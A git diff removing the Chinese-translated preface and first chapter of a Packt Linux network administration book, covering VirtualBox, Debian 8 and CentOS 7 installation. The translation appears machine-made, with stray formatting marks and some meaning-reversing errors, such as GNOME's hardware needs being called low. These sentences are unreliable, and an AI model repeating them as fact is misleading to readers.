从那里,更高级的主题将被有用的例子覆盖,读者将能够跟随跟随获得有价值的实践手。 - -在本文中,我们将介绍网络管理员通常在作业中执行的任务,例如安装 Linux、设置 DHCP、共享文件、IP 地址、监视资源等等。 这些例子涵盖的不是一个,而是两个流行的发行版,Debian 和 CentOS。 由于这两个发行版在企业中非常受欢迎,读者将准备好基于一个发行版或另一个发行版(以及无数基于它们的其他发行版)管理网络。 - -最后,最后几章将介绍防止入侵和攻击的最佳实践,以及在出现问题时为您提供帮助的故障排除。 - -# 这本书的内容 - -第一章,*设置你的实验环境*,介绍了在本书中设置你的实验环境的过程。 介绍了安装 Debian 和 CentOS,以及使用虚拟机的优缺点。 - -第二章、*重温 Linux 网络基础*,为读者提供了核心 Linux 概念的基础,为本书的其他内容,如 TCP/IP、主机名解析、IP 和网络工具套件奠定了基础。 - -[第 3 章](03.html "Chapter 3. Communicating Between Nodes via SSH"),*通过 SSH 在节点之间通信*,涵盖了所有 SSH 的内容。 在本章中,我们将了解如何使用 SSH 以及如何设置一个 OpenSSH 服务器以允许其他节点连接。 还介绍了`scp`命令,它允许我们将文件从一台机器传输到另一台机器。 - -第 4 章、*设置文件服务器*涵盖了 Samba 和 NFS。 在这里,我们将讨论何时适合使用其中一种而不是另一种,以及配置和装载这些共享。 - -第 5 章、*监控系统资源*讨论了 Linux 系统上的资源监控,如检查空闲磁盘空间、检查可用内存、旋转日志和查看日志。 - -第 6 章、*配置网络服务*是关于将我们的网络连接在一起的所有服务。 这里将讨论 DHCP 和 DNS 服务器等主题。 NTP 也加入了进来。 - -第七章,*通过 Apache 托管 HTTP 内容*,涵盖了 Apache,这是目前世界上使用最多的 web 服务器软件。 在这里,我们不仅将安装 Apache,还将配置它并管理模块。 还介绍了虚拟主机。 - -第 8 章、*理解高级网络概念*通过讨论更高级的主题,如子网、服务质量、DHCP 和 DNS 中的冗余等等,将读者带到下一个层次。 - -[第 9 章](09.html "Chapter 9. Securing Your Network"),*保护您的网络*,讨论了加固我们的系统以防止未经授权的访问。 在这里,我们将介绍 iptables、fail2ban、SELinux 等等。 - -第 10 章,*故障排除网络问题*总结了我们的旅程,提供了一些故障排除技巧,如果您遇到问题可以使用。 - -# 你需要什么来写这本书 - -这本书要求您拥有一台或多台能够运行 Debian 或 CentOS 的计算机,最好两者都能运行。 不管您是在虚拟机还是物理硬件上运行它们,惟一的要求是您应该能够安装其中一个或两个发行版,并通过终端访问它们。 这些安装需要根级别访问。 - -虽然您当然可以使用已有的任何 Linux 安装,但强烈建议使用单独的新安装,因为我们的一些主题如果在生产网络上运行,可能会造成干扰。 如果你有疑问,VirtualBox 或者你手边的旧机器就可以了。 网络访问是必需的,但考虑到本书的主题,这是不言而喻的。 - -一些通用的 Linux 技术是需要的。 绝不是要求用户是先进的,因为这本书的目的是升级您的现有知识。 话虽如此,为了获得最流畅的体验,你应该已经熟悉了一些东西。 首先,您应该已经知道如何使用文本编辑器修改配置文件。 本书没有假设您使用哪种文本编辑器,这完全取决于您。 只要您了解任何文本编辑器,无论是 nano, vim,甚至 gedit,您就会处于良好的状态。 如果您可以打开根用户拥有的配置文件,然后进行更改并保存它,那么就完成了所有设置。 如果有疑问,nano 对于初学者来说是一个很好的文本编辑器,只需要几分钟就可以学会。 对于更高级的用户,vim 是一个很好的选择。 说到根用户,您还应该理解作为根用户和普通用户运行命令之间的区别。 此外,您应该能够导航文件系统并进行浏览。 - -然而,即使您需要温习文本文件的编辑或切换到根用户,也不要让这些阻止您。 网上有相当多的知识可以用来复习,大多数 Linux 的文本编辑器都提供了非常好的文档。 - -# 这本书是写给谁的 - -本书的目标读者是那些已经了解 Linux 基础知识、想要学习如何管理基于 Linux 的网络或将他们的技能提升到更高水平的用户。 这既可以用于支持全 linux 网络,也可以用于支持混合环境。 本书带领读者从安装 Debian 等简单的主题,到子网等更高级的概念。 读完这本书,您应该有足够的知识来建立一个完全网络化的环境,包括这样一个网络应该具备的所有组件。 如果这本书让你兴奋,那么这本书绝对适合你! - -然而,在本书中,我们只关注与 Linux 相关的现实世界的例子。 如果您的目标是获得思科认证或获得其他一些高级认证,这里可能不是最适合您的地方。 在这里,它都是关于实际的例子,而不是过于关注理论。 虽然认证手册很简洁,但在这本书中,我们完成了一些事情——当你的老板或客户要求你实现 Linux 网络时,你需要做的真正的事情。 如果这是你的目标,那你肯定来对地方了。 - -# 约定 - -在这本书中,你会发现许多不同的文本样式来区分不同种类的信息。 下面是这些风格的一些例子以及对它们含义的解释。 - -文本中的代码字、数据库表名、文件夹名、文件名、文件扩展名、路径名、虚拟 url、用户输入和 Twitter 句柄如下所示:“在大多数情况下,这将是`/dev/sda`。” - -一段代码设置如下: - -```sh -default-lease-time 86400; -max-lease-time 86400; -option subnet-mask 255.255.252.0; -option broadcast-address 10.10.99.255; -option domain-name "local.lan"; -authoritative; -subnet 10.10.96.0 netmask 255.255.252.0 { - range 10.10.99.100 10.10.99.254; - option routers 10.10.96.1; - option domain-name-servers 10.10.96.1; -} -``` - -任何命令行输入或输出都写如下: - -```sh -systemctl status httpd - -``` - -任何需要以 root 权限运行的命令都将以`#`字符作为前缀,如下所示: - -```sh -# yum install httpd - -``` - -新词语、重要词语**以粗体显示。 您在屏幕上看到的单词,例如菜单或对话框中,会出现这样的文本:“一旦完成,您可以通过单击**扫描**,然后**保存扫描**来保存结果。”** - -### 注意事项 - -警告或重要说明显示在这样的框中。 - -### 提示 - -提示和技巧是这样的。 - -# 读者反馈 - -我们欢迎读者的反馈。 让我们知道你对这本书的看法——你喜欢或不喜欢这本书。 读者反馈对我们来说很重要,因为它能帮助我们开发出你能真正从中获益最多的游戏。 - -要向我们发送一般性的反馈,只需发送电子邮件`<[feedback@packtpub.com](mailto:feedback@packtpub.com)>`,并在邮件的主题中提到这本书的标题。 - -如果有一个主题,你有专业知识,你有兴趣写或贡献一本书,请参阅我们的作者指南[www.packtpub.com/authors](http://www.packtpub.com/authors)。 - -# 客户支持 - -现在,你已经自豪地拥有了一本书,我们有一些东西可以帮助你从购买中获得最大的好处。 - -## 示例代码下载 - -您可以从您的帐户[http://www.packtpub.com](http://www.packtpub.com)下载您购买的所有 Packt Publishing 图书的示例代码文件。 如果您在其他地方购买这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册,将文件直接通过电子邮件发送给您。 - -## 下载这本书的彩色图片 - -我们还为您提供了一个 PDF 文件,其中有彩色图像的屏幕截图/图表使用在这本书。 彩色图像将帮助您更好地理解输出中的变化。 您可以从[http://www.packtpub.com/sites/default/files/downloads/9597OS_ColorImages.pdf](http://www.packtpub.com/sites/default/files/downloads/9597OS_ColorImages.pdf)下载此文件。 - -## 勘误表 - -尽管我们已经竭尽全力确保内容的准确性,但错误还是会发生。 如果你在我们的书中发现错误,也许是文本或代码上的错误,如果你能向我们报告,我们将不胜感激。 通过这样做,您可以使其他读者免受挫折,并帮助我们改进这本书的后续版本。 如果您发现任何勘误表,请访问[http://www.packtpub.com/submit-errata](http://www.packtpub.com/submit-errata),选择您的图书,点击**勘误表提交表格**链接,并输入您的勘误表详细信息。 一旦您的勘误表被核实,您的提交将被接受,勘误表将被上载到我们的网站或添加到该标题的勘误表部分下的任何现有勘误表列表中。 - -要查看之前提交的勘误表,请访问[https://www.packtpub.com/books/content/support](https://www.packtpub.com/books/content/support)并在搜索字段中输入书名。 所需资料将出现在**勘误表**部分。 - -## 盗版 - -在互联网上盗版受版权保护的材料是一个贯穿所有媒体的持续问题。 在 Packt,我们非常重视版权和授权的保护。 如果您在互联网上发现我们的作品以任何形式的非法拷贝,请立即提供我们的地址或网站名称,以便我们进行补救。 - -请通过`<[copyright@packtpub.com](mailto:copyright@packtpub.com)>`与我们联系,并提供疑似盗版资料的链接。 - -我们感谢您的帮助,保护我们的作者和我们的能力,为您带来有价值的内容。 - -## 问题 - -如果您对本书的任何方面有任何疑问,您可以通过`<[questions@packtpub.com](mailto:questions@packtpub.com)>`与我们联系,我们将尽力解决问题。 \ No newline at end of file diff --git a/docs/master-linux-net-admin/01.md b/docs/master-linux-net-admin/01.md deleted file mode 100644 index da5597f4..00000000 --- a/docs/master-linux-net-admin/01.md +++ /dev/null @@ -1,496 +0,0 @@ -# 一、设置环境 - -欢迎来到 Linux 网络的世界! 这本书将是你完善你的 Linux 网络管理技能的指南。 在本章中,我们将讨论启动和运行环境需要做些什么。 我们将讨论几个 Linux 发行版感兴趣的企业网络,要记住的事情而设置在家里或办公室的环境,这样你就可以跟随这本书,和一些最佳实践设置几个 Linux 安装中我们将使用这本书。 基本上,我们会为你的技能发展打下基础。 - -在本章中,我们将介绍: - -* 开始 -* 分布考虑 -* 物理机器和虚拟机器 -* 设置和配置 VirtualBox -* 获取并安装 Debian 8 -* 获取并安装 CentOS 7 - -# 开始 - -Linux 下的网络管理是一个有趣的、多样的、不断变化的领域。 而核心组件通常保持不变在年(如**TCP / IP 协议),如何管理这些服务在每一代进化,比如**的崛起 systemd**。 Linux 绝对是令人兴奋的。** - - **在本章中,我们将看到如何设置您的环境。 根据您的经验水平,您可以直接跳到[第二章](02.html "Chapter 2. Revisiting Linux Network Basics")、*重温 Linux 网络基础*。 如果您已经适应在物理或**虚拟机**上设置一两个发行版,那么您已经具备了入门所需的知识。 在这里,我们将讨论如何安装本书练习中感兴趣的几个发行版和一些一般的指示。 - -简而言之,您必须使用的 Linux 安装越多越好。 在实践网络概念时,最好拥有尽可能多的节点,这样您就可以测试配置更改对环境的影响。 如果您已经习惯了安装 Linux,请随意设置一些节点,然后我们将在下一章中见面。 - -# 要考虑的分布 - -目前存在的 Linux 发行版有一百多个。 这些发行版包括专门针对工作站或服务器(或者两者都是)的发行版和专门解决特定任务的发行版,如 Kali、Mythbuntu 和 Clonezilla。 自然地,当研究网络管理之类的概念时,人们可能会遇到的第一个问题是从哪个发行版开始。 - -我们不关注任何一个分布。 在企业中,没有两个数据中心是相同的。 一些使用 Linux 的组织可能会对特定的发行版集(例如 Ubuntu 和 Ubuntu Server)进行标准化,尽管在中混合使用一个或多个发行版更为常见。 分布等**SUSE Linux 企业**,**Red Hat Enterprise Linux**,**Ubuntu 服务器【显示】,**CentOS**,**Debian【病人】非常普遍在基于 Linux 的服务器网络。 根据我的经验,我经常看到 Debian(及其衍生物)和基于 Red hat 的发行版的使用。**** - -我们鼓励您试验和混合您可能喜欢的发行版本。 有很多候选人,像[www.distrowatch.com](http://www.distrowatch.com)这样的网站会给你一个可能性列表。 特别是为了本书中的例子,推荐您使用 CentOS 和 Debian。 实际上,这两个发行版是很好的开始。 您将熟悉包管理(**rpm**和**deb**包)的两种不同形式,并熟悉两个最流行的发行版。 关于 Debian,有相当多的发行版是基于它的(**Ubuntu**,**Linux Mint**,以及其他)。 通过学习如何管理 Debian 安装,如果您考虑切换到其他发行版,那么这些知识也可以转移到其他发行版上。 CentOS 也是如此,它是基于 Red Hat 的。 Red Hat 是一个非常流行的发行版,因为 CentOS 是由它的源创建的,所以基本上你也在学习它。 虽然**Fedora**比 Red Hat 或 CentOS 更加先进,但其中的许多知识也将在那里非常有用; Fedora 作为工作站发行版很受欢迎。 - -本书中的例子在 CentOS 和 Debian 中都进行了测试。 每当一个指令是针对一个特定的分布,我会让你知道。 有一个 CentOS 和 Debian 安装将适合您的目的,这本书,但请自由试验。 就这些发行版的各个版本而言,CentOS 7 和 Debian 8 都是使用的。 将这些安装在您的环境或家庭实验室中。 - -# 物理机 vs 虚拟机 - -在一本网络书籍中看到关于虚拟机的节可能会让人感到有些惊讶。 说句公道话,这当然是不合时宜的。 除了作为一个重要的企业平台之外,**虚拟化**也是一个非常宝贵的学习工具。 在真实的网络中,技术人员可以在虚拟机中测试服务,然后将其推出到环境中。 例如,一个新的**DNS**服务器可能作为**VM**开始,然后在测试和验证之后,将其转移到一个环境中供组织使用。 这种方法的一个好处是,您可以在开发解决方案时使用多个快照,如果您搞砸了或破坏了它,您可以恢复快照,并从已知的工作状态开始。 - -就掌握 Linux 网络技能而言,虚拟机允许您测试一个过程在不同发行版之间的差异。 启动虚拟机很容易,销毁它就更容易了。 如果您受到物理硬件的限制,那么虚拟机可以为您提供构建小型虚拟网络的机会。 当然,虚拟机的权衡是它们使用多少 RAM。 然而,在没有 GUI 的情况下,大多数 Linux 发行版在 512 MB RAM 的情况下也能轻松运行。 现在,有相当多的计算机提供了 8gb 甚至 16gb 的 RAM,所以即使在目前可用的廉价计算机上,您也应该能够运行多个 vm。 - -公平地说,使用虚拟机进行实践和学习并不总是理想的。 事实上,在学习网络时,物理设备通常是首选。 虽然您可以通过运行在 VM 中的 Apache 练习设置和提供网页,但是您不能在这样的环境中练习机架交换机和路由器。 只要有可能,尽量使用物理设备。 但是,虚拟机为您提供了一个独特的机会,可以创建一小群节点来维护您的网络。 - -当然,并不是每个人都有一堆戴尔塔坐在壁橱里,准备好等待一个闪亮的新 Linux 安装。 您可以使用所有物理机器,也可以同时使用物理和虚拟机器。 在这本书中,没有对你的库存做任何假设。 游戏的名称是管理节点,所以设置尽可能多的节点。 - -在这本书中,我们讨论了**VirtualBox**。 然而,它绝不是创建虚拟机的唯一解决方案。 也有其他的解决方案,如**KVM**、**Xen**、**VMware**等。 VirtualBox 具有免费、开源和跨平台的优点(它可用于 Linux、Mac OS X 和 Windows),所以它很有可能在您的环境中工作。 在大多数情况下,它甚至比 KVM 或 Xen 更容易设置(但可能没有 KVM 或 Xen 那么酷)。 你不需要使用 VirtualBox(甚至是虚拟机)来阅读这本书。 使用任何你喜欢的解决方案。 在这本书中,我尝试不将说明限制在任何一个特定的解决方案中,所以内容适用于尽可能多的人。 - -# 设置和配置 VirtualBox - -如果你已经决定在你的环境中使用 VirtualBox(无论是为了学习、测试发行版,还是在实现之前评估网络服务),我们将在这个活动中设置我们的 VirtualBox 主机。 - -## 获取 VirtualBox - -下载并安装 VirtualBox 其实相当简单,但每个平台都有其独特之处。 在 Windows 中,初始安装只是导航到以下站点并下载安装文件并通过安装向导运行: - -[https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads) - -安装后,您需要做的就是跳到本章的*下载和安装扩展包*部分。 在 Mac OS X 上安装也很简单。 - -对于 Linux,有几种方法来安装 VirtualBox。 一种方法是使用您的**包管理器**,如果您的发行版在其存储库中已经有了它。 不幸的是,取决于您发行版的版本,可能包含的 VirtualBox 版本很可能已经过时了。 例如,Debian 通常在其存储库中包含较旧的包,但是像 Arch 这样的前沿发行版更有可能包含最新最好的包。 - -也许获取 VirtualBox 更好的方法是将 VirtualBox 本身提供的存储库导入到您的系统中。 下面的 URL 有一个 Debian 存储库的列表,甚至还有一个为基于 rpm 的发行版(Fedora、Red Hat 等)添加存储库的方法: - -[https://www.virtualbox.org/wiki/Linux_Downloads](https://www.virtualbox.org/wiki/Linux_Downloads) - -例如,使用页面上的说明作为指南,我们可以在基于 debian 的系统上运行以下过程。 然而,Oracle 可能随时更改其指令和存储库列表; 总是在安装之前咨询之前的 URL,看看过程是否改变了。 - -为了验证我们将添加正确的版本,我们需要确定使用哪个存储库。 这取决于您运行的发行版,所以一定要参考 VirtualBox 网站上的文档,以确保您导入了正确的存储库。 - -对于 Debian 8“Jessie”,我们将使用以下代码: - -```sh -deb http://download.virtualbox.org/virtualbox/debian jessie contrib - -``` - -要将这个存储库添加到我们的 Debian 系统中,我们将使用以下命令: - -```sh -# echo "deb http://download.virtualbox.org/virtualbox/debian jessie contrib" > /etc/apt/sources.list.d/virtualbox.list - -``` - -然后,我们可以使用以下命令添加存储库的公钥: - -```sh -# wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | apt-key add - - -``` - -从开始,我们可以在存储库中找到 Oracle 的 VirtualBox 包并安装它。 为此,让我们首先用下面的命令(作为根用户)更新我们的包列表: - -```sh -# apt-get update - -``` - -然后用以下命令安装 VirtualBox: - -```sh -# apt-get install dkms virtualbox-4.3 - -``` - -### 注意事项 - -同样的安装过程也适用于 Ubuntu,只要你选择了合适的匹配库。 - -对于像 Fedora,**Red Hat Enterprise Linux**(**RHEL**)和 openSUSE 这样的发行版,Oracle 提供了类似的说明。 - -公钥可以通过以下命令下载: - -```sh -# wget -q https://www.virtualbox.org/download/oracle_vbox.asc -O- | rpm --import - - -``` - -为了将存储库添加到 Fedora 系统中,执行以下命令: - -```sh -# wget -P /etc/yum/repos.d/ http://download.virtualbox.org/virtualbox/rpm/fedora/virtualbox.repo - -``` - -添加存储库后,可以使用以下命令安装 VirtualBox: - -```sh -# yum install VirtualBox-4.3 - -``` - -在中,OpenSUSE 和 RHEL 的说明也可以在 VirtualBox 网站上找到。 详情请访问 VirtualBox 网站[https://www.virtualbox.org](https://www.virtualbox.org)。 - -## 下载并安装扩展包 - -Oracle 提供了**Extension Pack**,可以将 USB 支持为,并支持**预引导执行环境**(**PXE**)引导。 您可能需要,也可能不需要这些特性。 如果您认为能够在主机 PC 上插入一个闪存驱动器并从 VM 中访问它,那么安装这个包可能是一个好主意。 - -### 注意事项 - -由于许可问题,VirtualBox 没有内置扩展包。 如果你想了解更多,请随时咨询 VirtualBox 许可证。 - -不管您的主机计算机运行的是 Linux、Windows 还是 Mac OS x,扩展包的安装过程基本上是相同的。但是,如果您的主机运行的是 Linux,则添加一个步骤,即将您的用户帐户添加到`vboxusers`组。 - -1. 当你第一次安装 VirtualBox 时,它应该已经创建了这个组。 执行以下命令进行验证: - - ```sh - cat /etc/group |grep vboxusers - - ``` - -2. 您应该看到类似于以下输出: -3. 如果没有看到输出,请使用以下命令创建组: - - ```sh - # groupadd vboxusers - - ``` - -4. 然后,把你自己加入这个组: - - ```sh - # usermod -aG vboxusers yourusername - - ``` - -### 注意事项 - -在将自己加入`vboxusers`组生效之前,需要注销并登录。 - -现在,您可以安装扩展包了。 同样,无论您的底层操作系统是什么,这个过程都应该是相同的。 首先,从以下 URL 下载扩展包并保存到本地: - -[https://www.virtualbox.org/wiki/Downloads](https://www.virtualbox.org/wiki/Downloads) - -下载完成后,请执行以下步骤: - -1. Open VirtualBox and go to **File** | **Preferences...**. - - ![Downloading and installing the Extension Pack](img/B03919_01_01.jpg) - - 在 VirtualBox 中访问文件菜单 - -2. Next, click on **Extensions** and then click on the green triangle icon on the right-hand side. - - ![Downloading and installing the Extension Pack](img/B03919_01_02.jpg) - - VirtualBox 设置 - -3. Select the extension pack that you downloaded earlier and click on **Open**. - - ![Downloading and installing the Extension Pack](img/B03919_01_03.jpg) - - 扩展包选择 - -4. You'll then be asked to confirm the installation. Click on **Install**. - - ![Downloading and installing the Extension Pack](img/B03919_01_04.jpg) - - 扩展包安装确认 - -5. The VirtualBox license agreement will be displayed. Feel free to check it. Then, scroll to the bottom and click on **I Agree** to confirm it. - - ![Downloading and installing the Extension Pack](img/B03919_01_05.jpg) - - VirtualBox 许可协议 - -6. If you're running Linux, you may be asked for the root or sudo password. If you do, enter it and continue. After authenticating, you should see confirmation that you've successfully installed the extension pack. - - ![Downloading and installing the Extension Pack](img/B03919_01_06.jpg) - - 成功安装 VirtualBox 扩展包的确认 - -在这个过程之后,VirtualBox 将在您的机器上启动并运行。 - -### 注意事项 - -在一些发行版中,密码提示符可能不会出现,导致扩展包安装失败。 如果出现这种情况,使用下面的命令以 root 权限运行 VirtualBox: - -```sh -sudo VirtualBox - -``` - -然后,尝试再次安装扩展包。 完成后,关闭 VirtualBox,然后以普通用户的身份重新打开它,然后继续。 - -# 获取和安装 Debian 8 - -为了安装 Debian,我们首先需要获取一个**ISO****镜像**文件。 要做到这一点,去以下网址: - -[http://www.debian.org/distrib/netinst](http://www.debian.org/distrib/netinst) - -有几个可供下载的选项,但是**netinst**ISO 将是我们的目标。 对于大多数计算机,64 位(amd64)版本应该足够了——除非您确定您的计算机不支持 64 位。 netinst 和完整的安装映像之间的主要区别是,netinst 版本将通过 Internet 从 Debian 的服务器下载所需的内容。 只要您不在一个带宽受限的区域内,这应该不是一个问题。 - -当然,ISO 文件本身是没有用的,除非您将其附加到虚拟机。 如果是,那你就准备好了。 如果您正在设置一台物理机器,您将需要创建一个可引导 CD 和一个您选择的光盘掌握工具,或者创建一个可引导闪存驱动器。 - -### 注意事项 - -因为有许多不同的掌握光盘的实用程序可用,所以不可能完整地演练如何在您的环境中创建可引导 CD。 在大多数情况下,您的实用程序应该在其菜单中有一个刻录 ISO 映像的选项。 如果您只是创建一个数据磁盘,那么该磁盘将不能作为 Debian 安装介质。 - -安装 Debian 8 的步骤如下: - -1. 在 Linux 系统中,您可以使用以下命令创建一个可引导的 Debian 闪存驱动器: - - ```sh - # cp name-of-debian.iso /dev/sd? && sync - - ``` - -2. 实际上,我们将下载的 ISO 映像直接复制到闪存驱动器中。 当然,要将文件名和目标更改为与您的系统相关的文件名和目标。 要确定要使用的设备节点,请执行以下命令: - - ```sh - # fdisk -l - - ``` - -3. 在输出中,您应该看到您的闪存驱动器的节点指定。 该命令的输出将如下所示: -4. Then, `/dev/sdb` would be the device to use to create the flash drive. Putting it all together, we would create the flash drive with the following command: - - ```sh - # cp name-of-debian.iso /dev/sdb && sync - - ``` - - ### 提示 - - **下载示例代码** - - 您可以从您的帐户[http://www.packtpub.com](http://www.packtpub.com)下载您购买的所有 Packt Publishing 图书的示例代码文件。 如果您在其他地方购买这本书,您可以访问[http://www.packtpub.com/support](http://www.packtpub.com/support)并注册,将文件直接通过电子邮件发送给您。 - -5. Once you have created bootable media, insert it into your computer and follow your computer's specific directives to access the boot menu and select your Debian media. After it finishes loading, the first screen will ask you to select your language. Choose your language, then click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_07.jpg) - - Debian 安装程序的语言选择屏幕 - -6. After selecting your language, the next screen will have you choose your location. Select it and then click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_08.jpg) - - Debian 安装程序中的语言选择 - -7. Similarly, choose a keymap that fits your keyboard and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_09.jpg) - - Debian 安装程序的键盘选择屏幕 - -8. At this point, the Debian installer will detect your hardware, and then allow you to configure your host name. For this option, choose a unique host name that will identify your device on the network. When finished, click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_10.jpg) - - 在安装 Debian 时选择一个主机名 - -9. The installer will then ask for your domain name. Enter your domain name here if you have one; otherwise, just leave it blank. Click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_11.jpg) - - 安装 Debian 时的域名配置 - -10. Next, you'll be asked to set a password for the **root** account. For this, you should create a unique (and preferably randomly generated) password. As you probably know, the root account has full access to the system. After setting the password, click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_12.jpg) - - 安装 Debian 时输入 Root 密码 - -11. In the next three screens, you'll set up your user account. First, you'll enter your first and last name, and then click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_13.jpg) - - 设置主用户帐户的第一个屏幕 - -12. Then, type in username and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_14.jpg) - - 创建一个用户名 - -13. The final portion of the user setup section will ask you to create a password. When done, click on **Continue** again. - - ![Acquiring and installing Debian 8](img/B03919_01_15.jpg) - - 设置主用户的密码 - -14. Next, Debian will try to use **Network Time Protocol** (**NTP**), if available, to configure your clock. Then, you'll be presented with a screen to select your time zone. Make sure your time zone is highlighted, and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_16.jpg) - - 配置您的位置,为时区 - -15. Now, we'll partition our disk. Feel free to partition your disk any way you want, as there are no partitioning requirements as far as this book is concerned. For the sake of this instruction, **Guided - use entire disk**, the default for Debian, is chosen. If you have a preferred partitioning scheme, feel free to use it. When finished, click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_17.jpg) - - Debian 安装的分区部分的第一个屏幕 - -16. Next, you'll have to select the hard disk on which to install Debian. In this example, there is only one hard disk available in the VM that was used to capture the procedure. If you have more than one disk, select the appropriate disk for installation and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_18.jpg) - - 为 Debian 选择目标磁盘 - -17. In the next section, the Debian installer will ask if you would like to have a separate `/home` partition (recommended if you wish to retain files between installations), separate `/home`, `/var`, and `/tmp` partitions, or all files in one partition. This book has no partitioning requirements, so choose the one that best fits your preference. When you've made your selection, click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_19.jpg) - - 磁盘分区的选择 - -18. Next, Debian will display a summary of the changes it's about to make. If these changes look good to you, ensure **Finish partitioning and write changes to disk** is highlighted and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_20.jpg) - - 分区概述 - -19. Then, you'll have to confirm the details again. Select **Yes** and then click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_21.jpg) - - 确认对分区的更改 - -20. The base system will be installed next; this might take a little while depending on the speed of your computer and hard disk. Afterwards, you'll be presented with a screen where you'll select the country nearest you in order to set up Debian's package manager. - - ![Acquiring and installing Debian 8](img/B03919_01_22.jpg) - - 为包管理器选择一个位置 - -21. Next, you'll select a mirror for Debian's package archives. In most cases, the default selection is usually accurate. So unless it guessed incorrectly, leave the default selection as-is and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_23.jpg) - - 为 Debian 的包归档选择一个镜像 - -22. In the next screen, Debian will give you a chance to configure an HTTP proxy, if you have one. If not, leave it blank. - - ![Acquiring and installing Debian 8](img/B03919_01_24.jpg) - - HTTP 代理配置 - -23. Next, Debian will configure your package manager and update your sources. After a few progress bars scroll by, you'll see a new screen asking you whether or not you'd like to submit usage statistics to Debian. This information is helpful to Debian's developers, but it's not required. Make your choice and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_25.jpg) - - 选择是否向 Debian 开发人员提供匿名统计信息 - - 下一个屏幕的将为我们提供额外的软件包,我们可以将其添加到我们的系统中,但这些不是必需的(不过,让标准系统实用程序启用是一个好主意)。 提供的大多数选项允许我们选择**桌面环境**,但是您不需要安装一个。 通常,服务器不会安装在桌面环境中。 然而,如果你正在设置一个工作站 PC,它可能是有益的。 - - * **GNOME**:它是 Debian 的默认桌面环境。 GNOME 是最先进的,它为与计算机交互提供了一个独特的范例。 GNOME 大量使用虚拟工作区,这允许您在多个桌面之间分割工作流。 不幸的是,GNOME 对硬件加速的要求相对较低; 这意味着如果你没有现代显卡,它就不能正常工作。 - * **Xfce**:它是 GNOME 的一个非常轻量级的替代,并且已经存在很长一段时间了。 Xfce 非常适合具有低端处理能力的计算机。 现在,Xfce 没有看到太多的积极的开发,所以它没有太大的变化。 这意味着在很多情况下它更稳定,尽管那些喜欢具有现代特性的东西的人可能不会对它感兴趣。 - * **KDE**:它是一个像 GNOME 一样的现代桌面环境,但它类似于 Windows 的用户界面。 与 GNOME 一样,KDE 也有相对适度的硬件要求,尽管没有 GNOME 那么糟糕。 KDE 具有**海豚**文件管理器,受到 Linux 用户的尊重。 - * Cinnamon**:它最初是作为 GNOME 的一个分支创建的,但是它已经发展成为自己的桌面环境,其中包含很少的 GNOME 依赖。 肉桂提供了更传统的桌面风格,带有 GNOME 的现代感觉。** - *** **MATE**:它是老 2 的延续。 GNOME 的 x 版本。 因此,MATE 在旧机器上运行得很好,并且比 Xfce 得到了更多的开发。 它可能不像 Xfce 那样稳定,但也很接近。* **LXDEL**:对于较老的计算机,它也是一个很好的选择,它与 Xfce 类似,但没有 Xfce 那么流行。** **除了桌面环境选择,建议从这个列表中选择**SSH 服务器**。 也可以选择**Web 服务器**,但是您最好等到我们阅读到讨论 Apache 的那一部分,因为我们将详细介绍 Apache 的安装过程。 - - ![Acquiring and installing Debian 8](img/B03919_01_26.jpg) - - Debian 软件选择** -*** Make your selections and then wait for the rest of the installation procedure to finish, as Debian installs the software you selected in the previous step. Then, it's time to configure GRUB. **GRUB** is an acronym for **Grand Unified Bootloader** and is necessary in order for us to boot our system. You'll be asked whether you'd like to install GRUB into the master boot record (which you more than likely will want to do), so ensure the **Yes** radio box is checked and click on **Continue**. - - ![Acquiring and installing Debian 8](img/B03919_01_27.jpg) - - GRUB 配置 - - * Next, select a target on which GRUB should be installed. In most cases, this will be `/dev/sda`. - - ![Acquiring and installing Debian 8](img/B03919_01_28.jpg) - - GRUB 目标选择 - - * Whew! We are finally ready to reboot into our new Debian environment. Click on **Continue** one last time and we're off to the races! - - ![Acquiring and installing Debian 8](img/B03919_01_29.jpg) - - Debian 安装过程的最后一个屏幕** - - **# 获取和安装 CentOS 7 - -在这个活动中,我们安装了 CentOS 7(它的步骤比 Debian 少得多)。 下载 ISO 文件,请浏览以下网址: - -[https://www.centos.org/download/](https://www.centos.org/download/) - -DVD 的 ISO 链接应该能满足我们的需要。 - -就像 Debian 演练一样,我们需要创建一个引导盘或闪存驱动器来开始安装。 与 Debian 安装程序不同的是,现在我们需要一个 DVD-R 光盘,因为映像太大了,无法装入 CD-R。 - -如果你是通过闪存盘安装,下面的 URL 来自 CentOS 的 wiki 描述了这个过程: - -[http://wiki.centos.org/HowTos/InstallFromUSBkey](http://wiki.centos.org/HowTos/InstallFromUSBkey) - -在之后,从安装介质启动,执行以下步骤: - -1. You'll first see a screen asking you to select the language to be used during installation. Choose your language and click on **Continue**. - - ![Acquiring and installing CentOS 7](img/B03919_01_30.jpg) - - CentOS 安装过程中的语言选择 - -2. The next screen that appears is one of two main sections of the installation. The items shown here (**DATE & TIME**, **KEYBOARD, LANGUAGE SUPPORT**, **INSTALLATION SOURCE**, **SOFTWARE SELECTION**, **INSTALLATION DESTINATION**, and **NETWORK & HOSTNAME**) can be completed in any order. As you can see in the screenshot, only one section (**INSTALLATION DESTINATION**) is actually required. Basically, you can go through each section listed and complete its task and then click on **Begin Installation** when you're finished. If you choose not to complete a section, its defaults will be used. - - ![Acquiring and installing CentOS 7](img/B03919_01_31.jpg) - - 第一节主要介绍 CentOS 的安装过程 - -3. For **LANGUAGE SUPPORT**, 